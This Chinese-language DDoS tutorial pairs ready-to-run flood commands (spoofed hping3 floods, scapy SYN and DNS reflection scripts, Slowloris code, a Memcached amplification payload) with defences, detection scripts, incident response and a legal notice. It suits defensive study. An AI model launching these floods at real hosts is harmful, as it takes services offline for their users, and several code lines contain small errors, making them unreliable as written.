压力测试攻击与防御完全指南
压力测试攻击(Stress Testing Attack)是通过向目标系统发送大量异常或非法的网络请求,耗尽目标的计算资源、带宽或连接池,导致正常用户无法访问的攻击方式。从经典的 SYN Flood 到应用层的 CC 攻击,DDoS 攻击始终是网络安全领域最具破坏力的威胁之一。
一、压力测试攻击概述
1.1 什么是压力测试攻击
压力测试攻击的本质是资源耗尽。攻击者通过大量伪造的请求占用目标的某项关键资源(带宽、CPU、内存、连接数),使目标无法处理合法用户的请求。
1.2 攻击分类
| 分类 | 攻击层 | 典型攻击 | 目标资源 |
|---|---|---|---|
| 网络层 | L3 | SYN Flood、ICMP Flood | 带宽、连接表 |
| 传输层 | L4 | SYN Flood、ACK Flood、FIN Flood | 连接表、CPU |
| 应用层 | L7 | CC 攻击、HTTP Flood | CPU、数据库 |
| 反射放大 | L3-L4 | NTP/DNS/Memcached 反射 | 带宽 |
1.3 攻击规模演进
早期(2000s): 单机 SYN Flood,~100 Mbps
中期(2010s): 僵尸网络,~100 Gbps
近期(2020s): 反射放大 + IoT 僵尸网络,~1-3 Tbps
现在: HTTP/2 多路复用 CC,慢速攻击
二、基础攻击原理
2.1 SYN Flood 攻击
原理:利用 TCP 三次握手的设计缺陷,发送大量 SYN 包但不完成握手,耗尽服务器的半连接队列(SYN Backlog)。
# 使用 hping3 发起 SYN Flood
hping3 -S --flood -p 80 --rand-source target.com
# 使用 scapy(Python)
python3 << 'EOF'
from scapy.all import *
target = "192.168.1.1"
for i in range(10000):
ip = IP(src=RandIP(), dst=target)
syn = TCP(sport=RandShort(), dport=80, flags="S")
send(ip/syn, verbose=0)
EOF
攻击特征:
- 源 IP 大量随机(伪造 IP)
- SYN 包速率极高(>10万 pps)
- 目标端口固定
- 同一源 IP 短时间内大量 SYN 但无 ACK
2.2 SYN-ACK Flood 攻击
原理:攻击者伪造源 IP 向目标发送 SYN 包,服务器回应的 SYN-ACK 会发送到不存在的 IP 上,导致服务器不断重试,耗尽出站带宽和内存。
# 伪造源 IP 的 SYN Flood(服务器回复 SYN-ACK 到不存在的 IP)
hping3 -S --flood -p 80 --rand-source --spoof 1.1.1.1 target.com
2.3 ACK Flood 攻击
原理:发送大量 ACK 包(不存在的连接),迫使服务器在连接表中查找匹配项,耗尽 CPU。
# ACK Flood
hping3 -A --flood -p 80 --rand-source target.com
2.4 FIN Flood 攻击
原理:发送大量 FIN 包(正常关闭连接标志),迫使服务器查找和释放不存在的连接。
# FIN Flood
hping3 -F --flood -p 80 --rand-source target.com
FIN 包的特殊性:根据 RFC 793,收到不在连接表中的 FIN 包应回复 RST。大量 FIN 包导致 CPU 消耗在连接表查询和 RST 回复上。
2.5 RST Flood 攻击
原理:发送大量 RST 包,强制中断存在的连接。如果攻击者能猜测到 TCP 连接的序列号,可以精确切断特定连接。
# RST Flood
hping3 -R --flood -p 80 --rand-source target.com
2.6 全连接 Flood(Conn Flood)
原理:完成 TCP 三次握手,建立完整连接但不发送数据,或发送极慢数据,耗尽服务器的最大连接数。
# 使用 slowhttptest 发起慢速攻击
slowhttptest -c 10000 -H -i 10 -r 200 -t GET -u http://target.com
# 建立大量连接但不发送数据
python3 << 'EOF'
import socket
sockets = []
for i in range(10000):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("target.com", 80))
s.send(b"GET / HTTP/1.1\r\nHost: target.com\r\n")
# 不发送最后的 \r\n,保持连接打开
sockets.append(s)
EOF
2.7 ICMP Flood(Ping Flood)
原理:发送大量 ICMP Echo 请求,消耗目标带宽和 CPU。
# 传统 Ping Flood
ping -f -s 65507 target.com
# 使用 hping3 更高效
hping3 -1 --flood --rand-source target.com
2.8 UDP Flood
原理:发送大量 UDP 包到随机端口,触发目标回复 ICMP Unreachable,消耗 CPU。
# UDP Flood(随机目的端口)
hping3 -2 --flood --rand-source -p 53 target.com # DNS 端口
hping3 -2 --flood --rand-source -p 123 target.com # NTP 端口
hping3 -2 --flood --rand-source --rand-dest target.com # 随机端口
三、反射放大攻击
3.1 原理
攻击者伪造源 IP(受害者 IP)向开放的 UDP 服务器发送小请求,服务器回复大响应到受害者。
3.2 常见放大协议
| 协议 | 端口 | 放大倍数 | 说明 |
|---|---|---|---|
| DNS | 53 | 50-100x | 使用 ANY 查询 |
| NTP | 123 | 200-556x | monlist 命令 |
| Memcached | 11211 | 10000-51000x | 无认证,放大倍数最高 |
| SSDP | 1900 | 30-70x | UPnP 设备 |
| CLDAP | 389 | 50-70x | 轻量目录访问协议 |
| SNMP | 161 | 30-60x | 简单网络管理协议 |
# DNS 反射放大测试(仅测试自己的服务器)
python3 << 'EOF'
from scapy.all import *
# 构造 DNS ANY 查询请求(源IP伪造为受害者)
ip = IP(src="受害者IP", dst="开放的DNS服务器")
udp = UDP(sport=RandShort(), dport=53)
dns = DNS(rd=1, qd=DNSQR(qname=".", qtype="ANY"))
send(ip/udp/dns, verbose=0)
EOF
3.3 Memcached 反射放大(最高的放大倍数)
2018 年 GitHub 遭受的 1.35 Tbps DDoS 攻击就利用了 Memcached 反射放大:
请求(15 字节):
\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n
响应(~134 KB):
STAT pid 1234
STAT uptime 12345678
STAT version 1.4.25
...(约 134 KB 的统计信息)
放大倍数:134KB / 15B ≈ 9000 倍
四、应用层攻击(CC 攻击)
4.1 什么是 CC 攻击
CC 攻击(Challenge Collapsar)是应用层的 DDoS 攻击,模拟正常用户请求,但频率极高或请求极消耗资源,导致服务器 CPU/数据库满载。
4.2 CC 攻击的类型
| 类型 | 手段 | 目标 |
|---|---|---|
| HTTP Flood | 大量 GET/POST 请求 | Web 服务器 |
| 慢速攻击 | 极慢发送 HTTP 头 | 连接池 |
| 数据库耗尽 | 复杂查询请求 | 数据库 |
| 登录爆破 | 大量登录请求 | 认证服务 |
| 图片刷爆 | 大图片反复请求 | 带宽 |
| API 滥用 | 频繁调用高成本 API | 应用逻辑 |
# HTTP Flood
ab -n 100000 -c 1000 http://target.com/
simbomb -u http://target.com/api/search -t 1000 -i payload.txt
# 慢速 HTTP 攻击
slowhttptest -c 10000 -H -i 10 -r 200 -t GET -u http://target.com
4.3 慢速攻击(Slow Attack)
慢速攻击利用 HTTP 协议的特性——服务器必须接收完整的请求后才开始处理。攻击者缓慢发送请求,长时间占用连接:
Slowloris(2009):
1. 发送 HTTP GET / HTTP/1.1
2. 发送 Host: target.com
3. 等待... 等待...
4. 发送一个额外的头: X-Header: a
5. 等待...
6. 继续发送零散头信息
结果:Apache/IIS 的 MaxClients 被耗尽
Slow Read:
1. 正常发送 HTTP 请求
2. 声明很小的接收窗口(TCP Window Size=10)
3. 服务器缓慢发送响应
4. 长期占用服务器连接
# Slowloris 核心代码
import socket
def slowloris(target, port=80, sockets_count=1000):
sockets = []
for _ in range(sockets_count):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(60)
s.connect((target, port))
s.send(b"GET / HTTP/1.1\r\nHost: %s\r\n" % target.encode())
# 不发送最后的 \r\n,保持连接打开
sockets.append(s)
while True:
for s in sockets:
try:
# 每隔一段时间发送一个保持活性的头
s.send(b"X-Header: %d\r\n" % random.randint(1, 1000000))
except:
sockets.remove(s)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.send(b"GET / HTTP/1.1\r\nHost: %s\r\n" % target.encode())
sockets.append(s)
time.sleep(10)
4.4 HTTP/2 多路复用攻击
HTTP/2 的多路复用特性可以被用于 DDoS:
HTTP/2 攻击方式:
1. 建立单个 TCP 连接
2. 发起数百个流(Stream)请求
3. 服务器为每个流分配资源
4. 单连接打满服务器 CPU
RST Flood(HTTP/2):
1. 发起请求后立即发送 RST_STREAM
2. 服务器不断创建和销毁流
3. CPU 消耗在流的创建/销毁上
五、防御技术
5.1 基础防御网络层次
| 层 | 防御手段 | 防御目标 |
|---|---|---|
| 网络层 | ACL、BPF、RTBH | 已知攻击源 IP |
| 云防护 | Cloudflare/AWS Shield/阿里云高防 | 大流量 DDoS |
| 传输层 | SYN Cookie、连接速率限制 | L4 Flood |
| 应用层 | Rate Limiting、WAF、CAPTCHA | CC 攻击 |
| 架构层 | CDN、分布式部署、流量调度 | 大流量冲击 |
5.2 防御各类型攻击
SYN Flood 防御
# Linux 内核参数(sysctl)
# 启用 SYN Cookie(最重要的防御)
sysctl -w net.ipv4.tcp_syncookies=1
# SYN Backlog 队列大小
sysctl -w net.ipv4.tcp_max_syn_backlog=65536
# SYN-ACK 重试次数(减少等待时间)
sysctl -w net.ipv4.tcp_synack_retries=1
# 启用 TCP Fast Open(减少握手开销)
sysctl -w net.ipv4.tcp_fastopen=3
SYN Cookie 原理:
传统模式:
SYN → 分配 TCB(内存),存入 SYN Backlog → SYN-ACK → 等待 ACK
SYN Cookie 模式:
SYN → 计算 Cookie(基于 IP/端口/SEQ 的哈希)→ 存入 SYN-ACK 的 SEQ → 不分配内存
ACK → 提取 Cookie 校验 → 校验通过分配 TCB
优点:不占内存,无半连接队列溢出风险
ACK/FIN/RST Flood 防御
# conntrack 连接跟踪限制
sysctl -w net.netfilter.nf_conntrack_max=1048576
sysctl -w net.netfilter.nf_conntrack_tcp_timeout_established=432000
sysctl -w net.netfilter.nf_conntrack_tcp_timeout_time_wait=60
# iptables 限速
iptables -A INPUT -p tcp --tcp-flags ALL ACK -m limit --limit 1000/s -j ACCEPT
iptables -A INPUT -p tcp --tcp-flags ALL ACK -j DROP
iptables -A INPUT -p tcp --tcp-flags ALL FIN -m limit --limit 500/s -j ACCEPT
iptables -A INPUT -p tcp --tcp-flags ALL FIN -j DROP
iptables -A INPUT -p tcp --tcp-flags ALL RST -m limit --limit 500/s -j ACCEPT
iptables -A INPUT -p tcp --tcp-flags ALL RST -j DROP
UDP/ICMP Flood 防御
# 限制 ICMP 速率
iptables -A INPUT -p icmp --icmp-type echo-request -m limit --limit 10/s -j ACCEPT
iptables -A INPUT -p icmp --icmp-type echo-request -j DROP
# 限制 UDP 速率(针对非 DNS 端口的 UDP)
iptables -A INPUT -p udp ! --dport 53 -m limit --limit 500/s -j ACCEPT
iptables -A INPUT -p udp ! --dport 53 -j DROP
# 限制每 IP 的连接数
iptables -A INPUT -p tcp --dport 80 -m connlimit --connlimit-above 50 -j REJECT
CC 攻击防御
# Nginx 限流配置(ngx_http_limit_req_module)
http {
# 定义限流区域:每 IP 每秒 10 请求,超量排队 20 个
limit_req_zone $binary_remote_addr zone=one:10m rate=10r/s;
server {
location / {
limit_req zone=one burst=20 nodelay;
}
location /api/ {
# API 接口更严格
limit_req zone=api:10m rate=5r/s;
}
}
}
# Nginx 连接数限制
limit_conn_zone $binary_remote_addr zone=addr:10m;
server {
limit_conn addr 20; # 每 IP 最多 20 并发连接
}
# 使用 fail2ban 自动封禁
sudo apt install fail2ban
cat << 'EOF' > /etc/fail2ban/jail.local
[http-get-dos]
enabled = true
port = http,https
filter = http-get-dos
logpath = /var/log/nginx/access.log
maxretry = 300 # 300 次请求触发
findtime = 60 # 60 秒内
bantime = 3600 # 封禁 1 小时
EOF
5.3 使用 iptables 防御常见攻击
# 综合防御脚本
#!/bin/bash
# 1. 丢弃无效包
iptables -A INPUT -m state --state INVALID -j DROP
# 2. 防止 SYN Flood(限制 SYN 速率)
iptables -A INPUT -p tcp ! --syn -m state --state NEW -j DROP
iptables -A INPUT -p tcp --syn -m limit --limit 100/s --limit-burst 200 -j ACCEPT
iptables -A INPUT -p tcp --syn -j DROP
# 3. 防止 ACK Flood
iptables -A INPUT -p tcp --tcp-flags ALL ACK -m limit --limit 1000/s -j ACCEPT
iptables -A INPUT -p tcp --tcp-flags ALL ACK -j DROP
# 4. 防止 FIN Flood
iptables -A INPUT -p tcp --tcp-flags ALL FIN -m limit --limit 500/s -j ACCEPT
iptables -A INPUT -p tcp --tcp-flags ALL FIN -j DROP
# 5. 防止端口扫描(PSH 包)
iptables -A INPUT -p tcp --tcp-flags ALL PSH -m limit --limit 100/s -j ACCEPT
iptables -A INPUT -p tcp --tcp-flags ALL PSH -j DROP
# 6. 防止 Xmas Tree 扫描
iptables -A INPUT -p tcp --tcp-flags ALL FIN,PSH,URG -j DROP
# 7. 防止空标志扫描
iptables -A INPUT -p tcp --tcp-flags ALL NONE -j DROP
# 8. 防止反射放大(禁ping)
iptables -A INPUT -p icmp --icmp-type echo-request -m limit --limit 5/s -j ACCEPT
iptables -A INPUT -p icmp --icmp-type echo-request -j DROP
# 9. 连接数限制(每 IP)
iptables -A INPUT -p tcp --dport 80 -m connlimit --connlimit-above 50 -j REJECT
iptables -A INPUT -p tcp --dport 443 -m connlimit --connlimit-above 50 -j REJECT
# 10. 端口敲门保护 SSH
iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m recent --set --name ssh
iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m recent --update --seconds 60 --hitcount 3 --name ssh -j DROP
5.4 云防护方案对比
| 方案 | 防御能力 | 适用场景 | 成本 |
|---|---|---|---|
| Cloudflare | 免费版 ~50 Gbps | 中小型网站 | 免费-企业级 |
| AWS Shield | Standard(免费) + Advanced($3000/月) | AWS 用户 | 中高 |
| 阿里云高防 | 5Gbps - 1Tbps | 国内业务 | 按量计费 |
| 腾讯云 DDoS 高防 | 10Gbps - 900Gbps | 游戏/金融 | 包月模式 |
| GCP Cloud Armor | 按规则防护 | GCP 用户 | 按量计费 |
| 自建机房 | 依赖上行带宽 | 自建机房 | 极高 |
5.5 反射放大防御
# 关闭不必要的 UDP 服务(防止自己的服务器被用作反射源)
systemctl disable --now ntp
systemctl disable --now bind9
systemctl disable --now memcached
# 防火墙限制 UDP 服务只对可信源开放
iptables -A INPUT -p udp --dport 53 -s 可信DNS服务器 -j ACCEPT
iptables -A INPUT -p udp --dport 53 -j DROP
# 启用 BCP38(源地址验证)
# 在网络出口过滤源 IP 不属于本网段的包
# 配置在核心交换机上,防止 IP 伪造
# 使用 RPF(反向路径过滤)
sysctl -w net.ipv4.conf.all.rp_filter=1
sysctl -w net.ipv4.conf.default.rp_filter=1
5.6 架构级防御
架构防御要点:
CDN 前置
- 隐藏真实服务器 IP
- 缓存静态资源,减少回源请求
- 天然防御 L3/L4 攻击
水平扩展
- 自动伸缩组(Auto Scaling)
- 多可用区部署
- 流量分散到多台服务器
缓存降级
- 大流量时降级为静态页
- 关闭高消耗功能(搜索、报表)
- 数据库查询结果缓存
限流分层
- 网关层: 每 IP/Token 限流
- 应用层: 接口级限流
- 数据库层: 连接池限流
六、检测技术
6.1 流量异常指标
| 指标 | 正常范围 | 被攻击特征 |
|---|---|---|
| 入站带宽 | 基线±20% | 突增 10-1000 倍 |
| 每秒包数 (pps) | <1000 | >10 万 |
| SYN 包比例 | <5% | >50% |
| 连接成功率 | >95% | <50%(大量连接超时) |
| TCP 重传率 | <1% | >10% |
| 时延 (Latency) | <100ms | >5000ms |
| CPU 使用率 | <50% | >95% |
6.2 Wireshark 检测攻击
# 检测 SYN Flood
# 过滤:大量 SYN 包,无后续 ACK
tcp.flags.syn == 1 and tcp.flags.ack == 0
# 统计 SYN 源 IP
tshark -r capture.pcap -Y "tcp.flags.syn == 1 and tcp.flags.ack == 0" \
-T fields -e ip.src | sort | uniq -c | sort -rn | head -20
# 检测 ACK Flood
# 过滤:ACK 包速率异常高
tcp.flags.ack == 1 and tcp.flags.syn == 0 and tcp.flags.fin == 0
# 检测 FIN Flood
tcp.flags.fin == 1 and tcp.flags.ack == 0
# 检测 UDP Flood
# 大量 UDP 包到非服务端口
udp.port != 53 and udp.port != 123
# 检测 ICMP Flood
icmp and data.len > 1000 # 大 ICMP 包
6.3 实时监控命令
# 网络流量监控
iftop -n -P
nload
vnstat -l
# 连接状态统计
ss -s
ss -tan | awk '{print $1}' | sort | uniq -c | sort -rn
ss -tan state syn-recv | wc -l # SYN Flood 中此值会极大
ss -tan state time-wait | wc -l
# 抓包实时分析
tcpdump -n -i eth0 "tcp[tcpflags] & (tcp-syn) != 0" -c 1000 | \
awk '{print $3}' | cut -d. -f1-4 | sort | uniq -c | sort -rn | head -10
# 每秒包数统计
sar -n DEV 1 10 | grep eth0
6.4 自动检测脚本
#!/usr/bin/env python3
"""DDoS 攻击检测脚本"""
import subprocess
import time
THRESHOLDS = {
'syn_per_sec': 1000, # 每秒 SYN 包上限
'conn_backlog': 500, # 半连接队列上限
'cpu_percent': 90 # CPU 使用率上限
}
def check_syn_flood():
"""检测 SYN Flood"""
result = subprocess.run(
["ss", "-tan", "state", "syn-recv"],
capture_output=True, text=True
)
syn_recv = len(result.stdout.split('\n')) - 1
if syn_recv > THRESHOLDS['conn_backlog']:
print(f"[ALERT] SYN Flood 检测: 半连接数 {syn_recv}")
return True
return False
def check_conn_rates():
"""检测连接速率异常"""
result = subprocess.run(
["tcpdump", "-n", "-i", "eth0", "-c", "1000",
"tcp[tcpflags] & (tcp-syn) != 0", "-w", "/dev/null"],
capture_output=True, time=5
)
def check_bandwidth():
"""检测带宽突增"""
result = subprocess.run(
["sar", "-n", "DEV", "1", "1"],
capture_output=True, text=True
)
# 解析带宽数据,与基线对比
lines = result.stdout.strip().split('\n')
if len(lines) > 2:
stats = lines[-1].split()
if len(stats) > 5:
rx_kbps = float(stats[2])
tx_kbps = float(stats[3])
if rx_kbps > 1_000_000: # 超过 1 Gbps
print(f"[ALERT] 带宽异常: RX={rx_kbps/1000} Mbps")
return True
return False
if __name__ == "__main__":
while True:
check_syn_flood()
check_bandwidth()
time.sleep(5)
七、应急响应流程
7.1 分级响应
| 攻击规模 | 带宽占用 | 响应措施 |
|---|---|---|
| 一级 | <1 Gbps | 机房防火墙 ACL 封禁源 IP |
| 二级 | 1-10 Gbps | 启用 SYN Cookie + 联系云防护 |
| 三级 | 10-100 Gbps | 流量牵引至清洗中心 |
| 四级 | >100 Gbps | 全量流量清洗 + CDN 切换 |
7.2 应急步骤
# Step 1: 确认攻击类型
tcpdump -n -i eth0 -c 10000 > dump.pcap
# Step 2: 统计攻击特征
# 源 IP 分布
tshark -r dump.pcap -T fields -e ip.src | sort | uniq -c | sort -rn | head -20
# 目的端口分布
tshark -r dump.pcap -T fields -e tcp.dstport | sort | uniq -c | sort -rn | head -10
# 包类型分布
tshark -r dump.pcap -T fields -e tcp.flags | sort | uniq -c | sort -rn
# Step 3: 封禁攻击源
# iptables 封禁 TOP 攻击 IP
tshark -r dump.pcap -T fields -e ip.src | sort | uniq -c | sort -rn | head -100 | \
awk '{print "iptables -A INPUT -s "$2" -j DROP"}' | bash
# Step 4: 启用内核防护
sysctl -w net.ipv4.tcp_syncookies=1
sysctl -w net.ipv4.conf.all.rp_filter=1
# Step 5: 联系云防护
# 将 DNS 切换到 Cloudflare / 阿里云高防
# Step 6: 取证保存
tcpdump -n -i eth0 -s 0 -w attack_evidence.pcap
八、法律边界
# ⚠️ 重要声明
# 未经授权对他人系统进行压力测试攻击是违法行为
# 中国《刑法》第285/286条:非法入侵计算机信息系统罪
# 《网络安全法》第27条:禁止提供专门用于入侵的扫描工具
# 任何测试必须在获得明确书面授权后进行
合法测试途径:
- 授权渗透测试(签订测试合同)
- 自己的服务器或实验室环境
- 授权的 Bug Bounty 平台测试
- CTF 竞赛场景
九、总结
压力测试攻击的核心是资源耗尽。防御的关键不在于完全阻挡攻击流量(大流量下不可能),而在于:
- 分层防御 — CDN + WAF + 内核参数 + 架构冗余
- 尽早发现 — 实时监控带宽、连接状态、CPU 基线
- 自动响应 — 触发阈值后自动限流/封禁/切换
- 冗余架构 — 水平扩展 + 多可用区 + 降级方案